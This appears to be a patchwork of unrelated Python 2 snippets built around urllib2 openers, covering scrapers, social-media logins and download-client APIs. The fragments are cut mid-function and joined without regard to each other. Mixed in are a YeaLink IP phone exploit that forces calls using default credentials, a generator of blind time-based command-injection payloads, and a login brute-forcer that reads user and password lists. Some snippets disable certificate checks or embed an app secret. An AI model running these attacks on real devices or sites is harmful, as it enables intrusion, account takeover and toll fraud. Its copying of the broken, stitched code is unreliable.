if config.UDP_ADDRESS is not None and config.UDP_PORT is None:
exit(
"[!] usage of configuration value 'UDP_ADDRESS' requires also usage of 'UDP_PORT'"
)
if config.UDP_ADDRESS is None and config.UDP_PORT is not None:
exit(
"[!] usage of configuration value 'UDP_PORT' requires also usage of 'UDP_ADDRESS'"
)
if not str(config.HTTP_PORT or "").isdigit():
exit("[!] invalid configuration value for 'HTTP_PORT' ('%s')" %
config.HTTP_PORT)
if config.PROCESS_COUNT and subprocess.mswindows:
print "[x] multiprocessing is currently not supported on Windows OS"
config.PROCESS_COUNT = 1
if config.CAPTURE_BUFFER:
if str(config.CAPTURE_BUFFER or "").isdigit():
config.CAPTURE_BUFFER = int(config.CAPTURE_BUFFER)
elif re.search(r"\d+\s*[kKmMgG]B", config.CAPTURE_BUFFER):
match = re.search(r"(\d+)\s*([kKmMgG])B", config.CAPTURE_BUFFER)
config.CAPTURE_BUFFER = int(match.group(1)) * {
"K": 1024,
"M": 1024**2,
"G": 1024**3
}[match.group(2).upper()]
elif re.search(r"\d+%", config.CAPTURE_BUFFER):
physmem = _get_total_physmem()
if physmem:
config.CAPTURE_BUFFER = physmem * int(
re.search(r"(\d+)%", config.CAPTURE_BUFFER).group(1)) / 100
else:
exit(
"[!] unable to determine total physical memory. Please use absolute value for 'CAPTURE_BUFFER'"
)
else:
exit(
"[!] invalid configuration value for 'CAPTURE_BUFFER' ('%s')" %
config.CAPTURE_BUFFER)
config.CAPTURE_BUFFER = config.CAPTURE_BUFFER / BLOCK_LENGTH * BLOCK_LENGTH
if config.PROXY_ADDRESS:
PROXIES.update({
"http": config.PROXY_ADDRESS,
"https": config.PROXY_ADDRESS
})
opener = urllib2.build_opener(urllib2.ProxyHandler(PROXIES))
urllib2.install_opener(opener)
def _cached_http_get(self,
url,
base_url,
timeout,
cookies=None,
data=None,
multipart_data=None,
headers=None,
allow_redirect=True,
cache_limit=8):
if cookies is None: cookies = {}
if timeout == 0: timeout = None
if headers is None: headers = {}
referer = headers['Referer'] if 'Referer' in headers else url
log_utils.log(
'Getting Url: %s cookie=|%s| data=|%s| extra headers=|%s|' %
(url, cookies, data, headers))
self.create_db_connection()
_, html = self.db_connection.get_cached_url(url, cache_limit)
if html:
log_utils.log('Returning cached result for: %s' % (url),
xbmc.LOGDEBUG)
return html
try:
self.cj = self._set_cookies(base_url, cookies)
if data is not None: data = urllib.urlencode(data, True)
if multipart_data is not None:
headers['Content-Type'] = 'multipart/form-data; boundary=X-X-X'
data = multipart_data
request = urllib2.Request(url, data=data)
request.add_header('User-Agent', USER_AGENT)
request.add_unredirected_header('Host', request.get_host())
request.add_unredirected_header('Referer', referer)
for key in headers:
request.add_header(key, headers[key])
self.cj.add_cookie_header(request)
if not allow_redirect:
opener = urllib2.build_opener(NoRedirection)
urllib2.install_opener(opener)
else:
opener = urllib2.build_opener(urllib2.HTTPRedirectHandler)
urllib2.install_opener(opener)
response = urllib2.urlopen(request, timeout=timeout)
self.cj.extract_cookies(response, request)
if xbmcaddon.Addon().getSetting('cookie_debug') == 'true':
log_utils.log(
'Response Cookies: %s - %s' %
(url, self.cookies_as_str(self.cj)), xbmc.LOGDEBUG)
self.__fix_bad_cookies()
self.cj.save(ignore_discard=True)
if not allow_redirect and response.getcode() in [
301, 302, 303, 307
]:
return response.info().getheader('Location')
if response.info().get('Content-Encoding') == 'gzip':
buf = StringIO(response.read())
f = gzip.GzipFile(fileobj=buf)
html = f.read()
else:
html = response.read()
except urllib2.HTTPError as e:
if e.code == 503 and 'cf-browser-verification' in e.read():
html = cloudflare.solve(url, self.cj)
if not html:
return ''
else:
log_utils.log(
'Error (%s) during scraper http get: %s' % (str(e), url),
xbmc.LOGWARNING)
return ''
except Exception as e:
log_utils.log(
'Error (%s) during scraper http get: %s' % (str(e), url),
xbmc.LOGWARNING)
return ''
self.db_connection.cache_url(url, html)
return html
def _setup_http_client(proxy):
"""Configure proxy server and install HTTP opener"""
proxy_config = {'http': proxy} if proxy else {}
proxy_handler = urllib2.ProxyHandler(proxy_config)
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
def do_login(username, pwd, cookie_file):
""""
Perform login action with use name, password and saving cookies.
@param username: login user name
@param pwd: login password
@param cookie_file: file name where to save cookies when login succeeded
"""
# POST data per LOGIN WEIBO, these fields can be captured using httpfox extension in FIrefox
login_data = {
'entry': 'weibo',
'gateway': '1',
'from': '',
'savestate': '7',
'userticket': '1',
'pagerefer': '',
'vsnf': '1',
'su': '',
'service': 'miniblog',
'servertime': '',
'nonce': '',
'pwencode': 'rsa2',
'rsakv': '',
'sp': '',
'encoding': 'UTF-8',
'prelt': '45',
'url':
'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',
'returntype': 'META'
}
cookie_jar2 = cookielib.LWPCookieJar()
cookie_support2 = urllib2.HTTPCookieProcessor(cookie_jar2)
opener2 = urllib2.build_opener(cookie_support2, urllib2.HTTPHandler)
urllib2.install_opener(opener2)
login_url = 'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.11)'
try:
servertime, nonce, rsakv = get_prelogin_status(username)
except:
return
# Fill POST data
print 'starting to set login_data'
login_data['servertime'] = servertime
login_data['nonce'] = nonce
login_data['su'] = get_user(username)
login_data['sp'] = get_pwd_rsa(pwd, servertime, nonce)
login_data['rsakv'] = rsakv
login_data = urllib.urlencode(login_data)
http_headers = {
'User-Agent':
'Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0'
}
req_login = urllib2.Request(url=login_url,
data=login_data,
headers=http_headers)
result = urllib2.urlopen(req_login)
text = result.read()
p = re.compile('location\.replace\(\'(.*?)\'\)')
# 在使用httpfox登录调试时，我获取的返回参数 location.replace('http://weibo.com 这里使用的是单引号 原来的正则中匹配的是双引号# 导致没有login_url得到 单引号本身在re中无需转义
# p = re.compile('location\.replace\(\B'(.*?)'\B\)') 经调试 这样子是错误的 re中非的使用\'才能表达单引号
try:
# Search login redirection URL
login_url = p.search(text).group(1)
data = urllib2.urlopen(login_url).read()
# Verify login feedback, check whether result is TRUE
patt_feedback = 'feedBackUrlCallBack\((.*)\)'
p = re.compile(patt_feedback, re.MULTILINE)
feedback = p.search(data).group(1)
feedback_json = json.loads(feedback)
if feedback_json['result']:
cookie_jar2.save(cookie_file,
ignore_discard=True,
ignore_expires=True)
return 1
else:
return 0
except:
return 0
available sip account, without supervision or confirmation of the user,
also the call receiver can listen through the phone mic .]
#!/usr/bin/python
import urllib2, sys
print "\n YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability - b0rh (francisco<[at]>garnelo.eu) - 2013-05-28 \n"
if (len(sys.argv) != 3):
print ">> Use: " + sys.argv[0] + " <IP Phone> <phone number>"
print ">> Ex: " + sys.argv[0] + " 127.0.0.1 123456789\n"
exit(0)
IP = sys.argv[1]
num = sys.argv[2]
UrlGet_params = 'http://%s/cgi-bin/ConfigManApp.com?Id=34&Command=1&Number=%s&Account=0&sid=0.724202975169738' % (IP, num)
webU = 'user'
webP = 'user'
query = urllib2.HTTPPasswordMgrWithDefaultRealm()
query.add_password(None, UrlGet_params, webU, webP)
auth = urllib2.HTTPBasicAuthHandler(query)
log = urllib2.build_opener(auth)
urllib2.install_opener(log)
queryPag = urllib2.urlopen(UrlGet_params)
print "\n Call to %s form IP phone %s\n" %(num,IP)
print 'CHECK: ' + CHECK
print 'ALLKMEANS: ' + ALLKMEANS
print 'ALLMATMUL: ' + ALLMATMUL
POSTDATA = urllib.urlencode({
'j_username': '******',
'j_password': '******',
'from': '/',
'json':
'{"j_username": "******", "j_password": "******", "remember_me": false, "from": "/"}',
'Submit': 'log in'
})
print 'POSTDATA OK'
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
print 'Cookie Support OK'
if os.path.exists(DATADIR):
print 'Data Folder Exists'
OFFLINE = 1
else:
print 'Create Data Folder'
os.mkdir(DATADIR)
OFFLINE = 0
print 'OK'
print _GAP
print '# Get Cookie to Log in'
print _GAP
def exploitation(url, delay, filename):
counter = 0
vp_flag = True
no_result = True
is_encoded = False
injection_type = "Blind-based Command Injection"
technique = "time-based injection technique"
# Print the findings to log file.
output_file = open(filename + ".txt", "a")
output_file.write("\n---")
output_file.write("\n(+) Type : " + injection_type)
output_file.write("\n(+) Technique : " + technique.title())
output_file.close()
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print colors.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + colors.RESET
sys.stdout.write("(*) Testing the " + technique + "... ")
sys.stdout.flush()
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for seperator in settings.SEPERATORS:
# Encode (urlencode) prefixes and suffixes
encoded_prefix = urllib.quote_plus(prefix)
encoded_suffix = urllib.quote_plus(suffix)
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
tag_length = len(TAG) + 4
for j in range(1, int(tag_length)):
try:
if seperator == ";":
payload = (
seperator + " "
"str=$(echo " + TAG + ")" + seperator + " "
# Find the length of the output.
"str1=${#str}" + seperator + " "
"if [ \"" + str(j) + "\" -ne ${str1} ]" +
seperator + " "
"then sleep 0" + seperator + " "
"else sleep " + str(delay) + seperator + " "
"fi ")
elif seperator == "&&":
payload = (
urllib.quote('&') + " " + "sleep 0 " +
urllib.quote(seperator) + " "
"str=$(echo " + TAG + ")" +
urllib.quote(seperator) + " "
# Find the length of the output.
"str1=${#str}" + urllib.quote(seperator) + " "
"[ " + str(j) + " -eq ${str1} ]" +
urllib.quote(seperator) + " "
"sleep 1 ")
elif seperator == "||":
payload = (seperator + " "
"echo '" + TAG + "' | " + "[ " +
str(j) + " -ne $(echo \"" + TAG +
"\" | wc -c) ] " + seperator + " "
"sleep " + str(delay))
else:
pass
# Check if defined "--prefix" option.
if menu.options.prefix:
prefix = menu.options.prefix
payload = prefix + payload
else:
encoded_payload = encoded_prefix + payload
payload = prefix + payload
# Check if defined "--suffix" option.
if menu.options.suffix:
suffix = menu.options.suffix
payload = payload + suffix
else:
encoded_payload = encoded_payload + encoded_suffix
payload = payload + suffix
payload_list = []
if payload != encoded_payload:
payload_list.append(payload)
payload_list.append(encoded_payload)
else:
payload_list.append(payload)
for payload in payload_list:
if urllib.unquote(payload) == payload:
is_encoded = True
#payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
if seperator == ";" or seperator == "&&" or seperator == "||":
sys.stdout.write("\n" + colors.GREY +
payload + colors.RESET)
start = 0
end = 0
start = time.time()
# Check if defined method is GET (Default).
if menu.options.method == "GET":
payload = urllib.quote(payload)
# Define the vulnerable parameter
if re.findall(
r"&(.*)=" + settings.INJECT_TAG + "",
url):
vuln_parameter = re.findall(
r"&(.*)=" + settings.INJECT_TAG + "",
url)
vuln_parameter = ''.join(vuln_parameter)
elif re.findall(
r"\?(.*)=" + settings.INJECT_TAG + "",
url):
vuln_parameter = re.findall(
r"\?(.*)=" + settings.INJECT_TAG + "",
url)
vuln_parameter = ''.join(vuln_parameter)
else:
vuln_parameter = url
target = re.sub(settings.INJECT_TAG, payload,
url)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = urllib2.ProxyHandler(
{'http': menu.options.proxy})
opener = urllib2.build_opener(proxy)
urllib2.install_opener(opener)
response = urllib2.urlopen(request)
response.read()
except urllib2.HTTPError, err:
print "\n(x) Error : " + str(err)
sys.exit(1)
else:
response = urllib2.urlopen(request)
response.read()
# Check if defined method is POST.
else:
# Check if defined the testable parameters.
if not menu.options.parameter:
print colors.RED + "(x) Error: You must specify the testable parameter.\n" + colors.RESET
break
else:
parameter = menu.options.parameter
parameter = urllib2.unquote(parameter)
data = re.sub(settings.INJECT_TAG, payload,
parameter)
# Define the vulnerable parameter
if re.findall(
r"&(.*)=" + settings.INJECT_TAG +
"", url):
vuln_parameter = re.findall(
r"&(.*)=" + settings.INJECT_TAG +
"", url)
vuln_parameter = ''.join(
vuln_parameter)
elif re.findall(
r"\?(.*)=" + settings.INJECT_TAG +
"", url):
vuln_parameter = re.findall(
r"\?(.*)=" + settings.INJECT_TAG +
"", url)
vuln_parameter = ''.join(
vuln_parameter)
else:
vuln_parameter = parameter
request = urllib2.Request(url, data)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = urllib2.ProxyHandler(
{'http': menu.options.proxy})
opener = urllib2.build_opener(
proxy)
urllib2.install_opener(opener)
response = urllib2.urlopen(request)
response.read()
except urllib2.HTTPError, err:
print "\n(x) Error : " + str(err)
sys.exit(1)
else:
response = urllib2.urlopen(request)
response.read()
end = time.time()
how_long = int(end - start)
gravatar_url = "http://www.gravatar.com/avatar/" + hashlib.md5(
email.lower()).hexdigest() + "?"
gravatar_url += urllib.urlencode({'d': default, 's': str(size)})
userIconURL = gravatar_url
self.debugLog(u"User icon set to gravatar: %s" % userIconURL)
else:
self.debugLog(u"User icon url set to: %s" % userIconURL)
##############################################################################################
# construct the file upload ##################################################################
if theFilePath is None or theFilePath == "":
self.debugLog(u"No file path was entered")
else:
theFilePath = theFilePath.strip()
if os.path.isfile(theFilePath):
opener = urllib2.build_opener(
MultipartPostHandler.MultipartPostHandler)
params = {"token": slackToken, "file": open(theFilePath, "rb")}
fileUploadURL = 'https://slack.com/api/files.upload?'
else:
indigo.server.log(u"Invalid path to the file.")
##############################################################################################
# construct and attempt to send payload to Slack #############################################
if theUsername is None or theUsername == "":
theUsername = userName
self.debugLog(u"Username set to %s (bot)" % userName)
surl = 'https://hooks.slack.com/services/%s' % URLtoken
self.debugLog(u"Slack payload url: %s" % surl)
if pluginAction.props['imageurl'] is None or pluginAction.props[
'imageurl'] == "":
if theChannel and theUsername and theText != "":
def post(url, data):
req = urllib2.Request(url)
data = urllib.urlencode(data)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
response = opener.open(req, data)
return response.read()
start_end_times = [[query_day + " 00:00:00", query_day + " 18:59:59"],
[query_day + " 19:00:00", query_day + " 23:59:59"]]
# query_set = [
# u'所有操作慢',
# u'浏览网页慢',
# u'他网视频慢',
# u'下载慢',
# u'游戏慢',
# u'游戏问题'
# ]
query_codes = ['3222', '3223', '3224', '3225', '3226', '3229']
# firedebug得出相应查询码
postUrl = 'http://218.108.129.189:19090/ccps/login.action'
cookie = cookielib.CookieJar()
handler = urllib2.HTTPCookieProcessor(cookie)
post_opener = urllib2.build_opener(handler)
# 将cookies绑定到一个opener cookie由cookielib自动管理
username = '******'
password = '******'
postData = {
'staff.password': password,
'staff.wcode': username,
}
headers = {
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Encoding':
'gzip, deflate',
'Accept-Language':
'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Host':
request = urllib2.Request(
target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = urllib2.ProxyHandler(
{
'http':
menu.options.
proxy
})
opener = urllib2.build_opener(
proxy)
urllib2.install_opener(
opener)
response = urllib2.urlopen(
request)
response.read()
except urllib2.HTTPError, err:
print "\n(x) Error : " + str(
err)
sys.exit(1)
else:
response = urllib2.urlopen(
request)
response.read()
rec = {'tc' : 'T', 'keyw' : [], 'jnl' : 'BOOK'}
for a in div.find_all('a'):
rec['artlink'] = 'https://dspace.cuni.cz' + a['href'] #+ '?show=full'
rec['hdl'] = re.sub('.*handle\/', '', a['href'])
for h5 in div.find_all('h5', attrs = {'class' : 'work-type'}):
if re.search('dissertation thesis', h5.text):
recs.append(rec)
else:
print '[%i] skip %s' % (i, h5.text.strip())
i = 0
for rec in recs:
i += 1
print '---{ %s }---{ %i/%i}---{ %s }------' % (year, i, len(recs), rec['artlink'])
try:
artpage = BeautifulSoup(urllib2.build_opener(urllib2.HTTPCookieProcessor).open(rec['artlink']))
time.sleep(3)
except:
try:
print "retry %s in 180 seconds" % (rec['artlink'])
time.sleep(180)
artpage = BeautifulSoup(urllib2.build_opener(urllib2.HTTPCookieProcessor).open(rec['artlink']))
except:
print "no access to %s" % (rec['artlink'])
continue
for meta in artpage.head.find_all('meta'):
if meta.has_attr('name'):
#author
if meta['name'] == 'DC.creator':
author = re.sub(' *\[.*', '', meta['content'])
rec['autaff'] = [[ author ]]
def sendNZB(nzb):
"""
Sends an NZB to SABnzbd via the API.
:param nzb: The NZBSearchResult object to send to SAB
"""
# set up a dict with the URL params in it
params = {}
if sickbeard.SAB_USERNAME != None:
params[b'ma_username'] = sickbeard.SAB_USERNAME
if sickbeard.SAB_PASSWORD != None:
params[b'ma_password'] = sickbeard.SAB_PASSWORD
if sickbeard.SAB_APIKEY != None:
params[b'apikey'] = sickbeard.SAB_APIKEY
category = sickbeard.SAB_CATEGORY
if nzb.show.is_anime:
category = sickbeard.SAB_CATEGORY_ANIME
# if it aired more than 7 days ago, override with the backlog category IDs
for curEp in nzb.episodes:
if datetime.date.today() - curEp.airdate > datetime.timedelta(days=7):
category = sickbeard.SAB_CATEGORY_BACKLOG
if nzb.show.is_anime:
category = sickbeard.SAB_CATEGORY_ANIME_BACKLOG
if category != None:
params[b'cat'] = category
# use high priority if specified (recently aired episode)
if nzb.priority == 1:
if sickbeard.SAB_FORCED == 1:
params[b'priority'] = 2
else:
params[b'priority'] = 1
# if it's a normal result we just pass SAB the URL
if nzb.resultType == "nzb":
# for newzbin results send the ID to sab specifically
if nzb.provider.getID() == 'newzbin':
id = nzb.provider.getIDFromURL(nzb.url)
if not id:
logging.error("Unable to send NZB to sab, can't find ID in URL " + str(nzb.url))
return False
params[b'mode'] = 'addid'
params[b'name'] = id
else:
params[b'mode'] = 'addurl'
params[b'name'] = nzb.url
# if we get a raw data result we want to upload it to SAB
elif nzb.resultType == "nzbdata":
params[b'mode'] = 'addfile'
multiPartParams = {"nzbfile": (nzb.name + ".nzb", nzb.extraInfo[0])}
url = sickbeard.SAB_HOST + "api?" + urllib.urlencode(params)
logging.info("Sending NZB to SABnzbd")
logging.debug("URL: " + url)
try:
# if we have the URL to an NZB then we've built up the SAB API URL already so just call it
if nzb.resultType == "nzb":
f = urllib.urlopen(url)
# if we are uploading the NZB data to SAB then we need to build a little POST form and send it
elif nzb.resultType == "nzbdata":
cookies = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies),
MultipartPostHandler.MultipartPostHandler)
req = urllib2.Request(url,
multiPartParams,
headers={'User-Agent': USER_AGENT})
f = opener.open(req)
except (EOFError, IOError) as e:
logging.error("Unable to connect to SAB: {}".format(ex(e)))
return False
except httplib.InvalidURL as e:
logging.error("Invalid SAB host, check your config: {}".format(ex(e)))
return False
# this means we couldn't open the connection or something just as bad
if f == None:
logging.error("No data returned from SABnzbd, NZB not sent")
return False
# if we opened the URL connection then read the result from SAB
try:
result = f.readlines()
except Exception as e:
logging.error("Error trying to get result from SAB, NZB not sent: {}".format(ex(e)))
return False
# SAB shouldn't return a blank result, this most likely (but not always) means that it timed out and didn't recieve the NZB
if len(result) == 0:
logging.error("No data returned from SABnzbd, NZB not sent")
return False
# massage the result a little bit
sabText = result[0].strip()
logging.debug("Result text from SAB: " + sabText)
# do some crude parsing of the result text to determine what SAB said
if sabText == "ok":
logging.debug("NZB sent to SAB successfully")
return True
elif sabText == "Missing authentication":
logging.error("Incorrect username/password sent to SAB, NZB not sent")
return False
else:
logging.error("Unknown failure sending NZB to sab. Return text is: " + sabText)
return False
import sys
import urllib2
#sina
APP_KEY = '377217891' #youre app key
APP_SECRET = '723905a68a35ca6e2f30016230337e8f' #youre app secret
CALLBACK_URL = 'http://6.helloelmer.sinaapp.com/callback'
ACCOUNT = '*****@*****.**' #your email address
PASSWORD = sys.argv[1] #'******' #your pw
#gplus
GPLUS_ENABLE = True
GPLUS_URLS = ("https://plus.google.com/communities/112204979951069292983", )
#proxy
PROXY = None #"http://127.0.0.1"
if PROXY:
proxy_support = urllib2.ProxyHandler({'http': PROXY})
opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
pages = int(raw_input("enter number of pages to scrap:"))
url = 'https://www.reddit.com/'
i = 1
while pages > 0:
request = urllib2.Request(url)
request.add_header(
'User-Agent',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0'
)
myurlopener = urllib2.build_opener()
myurl = myurlopener.open(request)
spinner = Halo(text="Processing Page", spinner="dots")
spinner.start()
myurldata = myurl.read()
soup = BeautifulSoup(myurldata, 'lxml')
# find the div containing data and iterate over it
for choice in soup.find_all('div', class_='thing'):
topicName = choice.find('p', class_='title').a.text.encode(
def build_opener(*args, **kwargs):
if PYTHON_3: return urllib.request.build_opener(*args, **kwargs)
else: return urllib2.build_opener(*args, **kwargs) #@UndefinedVariable
def dataGenerator(self, allFileIndices, queries, currentPath):
final_directory = os.path.join(currentPath, r'theData')
if not os.path.exists(final_directory):
os.makedirs(final_directory)
allSubDirectories = []
for query in queries:
subDirectory = os.path.join(final_directory, query)
if not os.path.exists(subDirectory):
os.makedirs(subDirectory)
allSubDirectories.append(subDirectory)
allDocWordCount = []
for i in range(0, len(queries)):
cnt = 0
docWordCount = []
for theUrl in allFileIndices[i]:
if cnt < 60:
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib2.build_opener(
urllib2.HTTPSHandler(context=ctx))
opener.addheaders = [('Referer', theUrl)]
html = opener.open(theUrl, timeout=10).read()
soup = BeautifulSoup(html, "lxml")
textTemp = list()
try:
textTemp.append(soup.find('title').text)
textTemp.append('\n')
for theText in soup.find_all(
['p'], text=True
): #,'li']):#,'li']):#,'ul']):#,'span']):#,'li']):
textTemp.append(theText.text)
except:
print theUrl
pass
text = " ".join(textTemp)
lines = (line.strip() for line in text.splitlines())
chunks = (phrase.strip() for line in lines
for phrase in line.split(" "))
text = '\n'.join(chunk for chunk in chunks if chunk)
text = text.encode('utf8')
if len(text.split(' ')) >= 50:
docWordCount.append(len(text.split(' ')))
tmpFile = str(cnt) + ".txt"
indexFile = open(
allSubDirectories[i] + "/" + tmpFile, "w")
indexFile.write(text)
indexFile.close()
cnt = cnt + 1
except:
pass
allDocWordCount.append(docWordCount)
with open(currentPath + '/' + 'allDocWordCount.pkl', 'wb') as f2:
pickle.dump(allDocWordCount, f2)
return allDocWordCount
if (len(username)>0 and len(password)>0):
mode = 1 #single
elif (len(username)>0 and len(passFile)>0):
mode = 2 #
elif (len(userFile)>0 and len(password)>0):
mode = 3
elif (len(userFile)>0 and len(passFile)>0):
mode = 4
#
#init opener
#
cookieJar = cookielib.CookieJar()
cookieHandler = urllib2.HTTPCookieProcessor(cookieJar)
if useProxy == 0:
opener = urllib2.build_opener(cookieHandler)
else:
opener = urllib2.build_opener(proxyHandler,cookieHandler)
opener.addheaders = [('User-agent', agent)]
cookieJar.clear()
cookieJar.clear_session_cookies()
#
#main
#
try:
response = opener.open(url)
content = response.read()
if mode == 1:
values = {'log' : username,
'pwd' : password,
def login(self, openurl):
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.open(__scraper__.loginurl, self.loginData)
link = opener.open(openurl).read()
return link
# -*- coding: utf-8 -*- import urllib2 # 构建一个 HTTPHandler 构建起对象，支持处理HTTP的请求 # debuglevel=1 自动打开debug log 模式 http_handler = urllib2.HTTPHandler(debuglevel=1) # 使用build_opener() 方法构建一个自定义的opener opener = urllib2.build_opener(http_handler) url = 'http://www.baidu.com' req = urllib2.Request(url) res = opener.open(req) content = res.read() #print(content)
def __init__(self,
api_path,
username="",
password="",
use_auth=True,
auth_type="basic",
consumer_key=None,
consumer_secret=None,
oauth_token=None,
oauth_token_secret=None,
validate_ssl=True,
save_oauth_credentials=None):
import base64
self.api_path = api_path
if self.api_path[
-1] == "/": # We don't want a surplus / when creating request URLs. Sure, most servers will handle it well, but why take the chance?
self.api_path == self.api_path[:-1]
if domain_regex.findall(self.api_path)[0][2] == "api.twitter.com":
self.is_twitter = True
else:
self.is_twitter = False
if validate_ssl:
#TODO: Implement SSL-validating handler and add it to opener here
self.opener = urllib2.build_opener()
else:
self.opener = urllib2.build_opener()
self.use_auth = use_auth
self.auth_type = auth_type
self.oauth_token = oauth_token
self.oauth_token_secret = oauth_token_secret
self.save_oauth_credentials = save_oauth_credentials
self.auth_string = None
if not self.__checkconn():
raise Exception("Couldn't access %s, it may well be down." %
(api_path))
if self.use_auth:
if auth_type == "basic":
self.auth_string = base64.encodestring(
'%s:%s' % (username, password))[:-1]
if self.is_twitter:
raise Exception(
"Twitter does not support basic auth; bailing out.")
if not self.account_verify_credentials():
raise Exception("Invalid credentials")
elif auth_type == "oauth":
if has_oauth:
self.consumer = oauth.OAuthConsumer(
str(consumer_key), str(consumer_secret))
self.oauth_initialize()
if self.is_twitter:
self.api_path += "/1"
if not self.account_verify_credentials():
raise Exception("OAuth authentication failed")
else:
raise Exception("OAuth could not be initialised.")
self.server_config = self.statusnet_config()
try:
self.length_limit = int(
self.server_config["site"]
["textlimit"]) # this will be 0 on unlimited instances
except:
self.length_limit = 0 # assume unlimited on failure to get a defined limit
self.tz = self.server_config["site"]["timezone"]
fp = TCPFile(data)
if data:
headers = {
'Content-type': 'application/octet-stream',
'Content-length': len(data),
}
code = 200
else:
headers = {}
code = 404
return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)
urllib2.install_opener(urllib2.build_opener(TCPReaderHandler()))
class DnsCommandClientDecodingError(Exception):
pass
__DEBUG = 0
if __DEBUG:
import dns.resolver
resolver = dns.resolver.Resolver()
resolver.nameservers = ['127.0.0.1']
resolver.port = 5454
socket.gethostbyname_ex = lambda x: (
None, None, [str(rdata) for rdata in resolver.query(x, 'A')])
user_config = {}
try:
execfile(filename, user_config)
except SyntaxError, e:
sys.stderr.write('Syntax error in config file: %s\n'
'Line %i offset %i\n' %
(filename, e.lineno, e.offset))
sys.exit(1)
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(realm='Web API',
uri=RBWEBSITE_API_URL,
user=user_config['USERNAME'],
passwd=user_config['PASSWORD'])
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
def execute(cmdline):
if isinstance(cmdline, list):
print(">>> %s" % subprocess.list2cmdline(cmdline))
else:
print(">>> %s" % cmdline)
p = subprocess.Popen(cmdline, shell=True, stdout=subprocess.PIPE)
s = ''
for data in p.stdout.readlines():
s += data
def send_http(self, messages, channel='default'):
import urllib2, json, time, cookielib
print_error("send_http", messages)
if self.proxy:
import socks
socks.setdefaultproxy(
proxy_modes.index(self.proxy["mode"]) + 1, self.proxy["host"],
int(self.proxy["port"]))
socks.wrapmodule(urllib2)
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
t1 = time.time()
data = []
for m in messages:
method, params = m
if type(params) != type([]): params = [params]
data.append({
'method': method,
'id': self.message_id,
'params': params
})
self.unanswered_requests[self.message_id] = method, params, channel
self.message_id += 1
if data:
data_json = json.dumps(data)
else:
# poll with GET
data_json = None
headers = {'content-type': 'application/json'}
if self.session_id:
headers['cookie'] = 'SESSION=%s' % self.session_id
try:
req = urllib2.Request(self.connection_msg, data_json, headers)
response_stream = urllib2.urlopen(req, timeout=DEFAULT_TIMEOUT)
except:
return
for index, cookie in enumerate(cj):
if cookie.name == 'SESSION':
self.session_id = cookie.value
response = response_stream.read()
self.bytes_received += len(response)
if response:
response = json.loads(response)
if type(response) is not type([]):
self.queue_json_response(response)
else:
for item in response:
self.queue_json_response(item)
if response:
self.poll_interval = 1
else:
if self.poll_interval < 15:
self.poll_interval += 1
#print self.poll_interval, response
self.rtime = time.time() - t1
self.is_connected = True
def do_check(request):
# Check if defined any Host HTTP header.
if menu.options.host and settings.HOST_INJECTION == None:
request.add_header('Host', menu.options.host)
# Check if defined any User-Agent HTTP header.
if menu.options.agent:
request.add_header('User-Agent', menu.options.agent)
# Check if defined any Referer HTTP header.
if menu.options.referer and settings.REFERER_INJECTION == None:
request.add_header('Referer', menu.options.referer)
# Check if defined any Cookie HTTP header.
if menu.options.cookie and settings.COOKIE_INJECTION == False:
request.add_header('Cookie', menu.options.cookie)
# Check if defined any HTTP Authentication credentials.
# HTTP Authentication: Basic / Digest Access Authentication.
if not menu.options.ignore_401:
if menu.options.auth_cred and menu.options.auth_type:
try:
settings.SUPPORTED_HTTP_AUTH_TYPES.index(
menu.options.auth_type)
if menu.options.auth_type == "basic":
b64_string = base64.encodestring(
menu.options.auth_cred).replace('\n', '')
request.add_header("Authorization",
"Basic " + b64_string + "")
elif menu.options.auth_type == "digest":
try:
url = menu.options.url
try:
response = urllib2.urlopen(url)
except urllib2.HTTPError, e:
try:
authline = e.headers.get(
'www-authenticate', '')
authobj = re.match('''(\w*)\s+realm=(.*),''',
authline).groups()
realm = authobj[1].split(',')[0].replace(
"\"", "")
user_pass_pair = menu.options.auth_cred.split(
":")
username = user_pass_pair[0]
password = user_pass_pair[1]
authhandler = urllib2.HTTPDigestAuthHandler()
authhandler.add_password(
realm, url, username, password)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
result = urllib2.urlopen(url)
except AttributeError:
pass
except urllib2.HTTPError, e:
pass
except ValueError:
err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'."
err_msg += " Try basic or digest HTTP authentication type."
